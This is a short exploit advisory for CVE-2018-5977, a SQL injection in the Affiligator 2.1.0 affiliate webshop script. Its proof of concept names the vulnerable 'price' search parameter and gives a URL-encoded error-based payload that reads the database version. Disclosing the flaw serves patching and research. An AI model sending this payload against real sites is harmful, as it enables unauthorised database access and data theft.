Affiligator 2.1.0 SQL Injection

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# Exploit Title: Affiligator - Affiliate Webshop Management System 2.1.0 - SQL Injection  
# Dork: N/A  
# Date: 23.01.2018  
# Vendor Homepage: https://www.getaffiligator.com/  
# Software Link: https://codecanyon.net/item/affiligator-affiliate-webshop-management-system/21214946  
# Version: 2.1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-5977  
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# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
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# Description:  
# The vulnerability allows an attacker to inject sql commands....  
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# Proof of Concept:   
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# 1)  
# http://localhost/[PATH]/search/?q=&price_type=range&price=[SQL]  
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# %31%30%30%20%61%6e%64%28%73%65%6c%65%63%74%21%56%65%72%41%79%61%72%69%2d%7e%30%2e%20%66%72%6f%6d%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%56%65%72%73%69%6f%6e%28%29%29%29%79%29%78%29  
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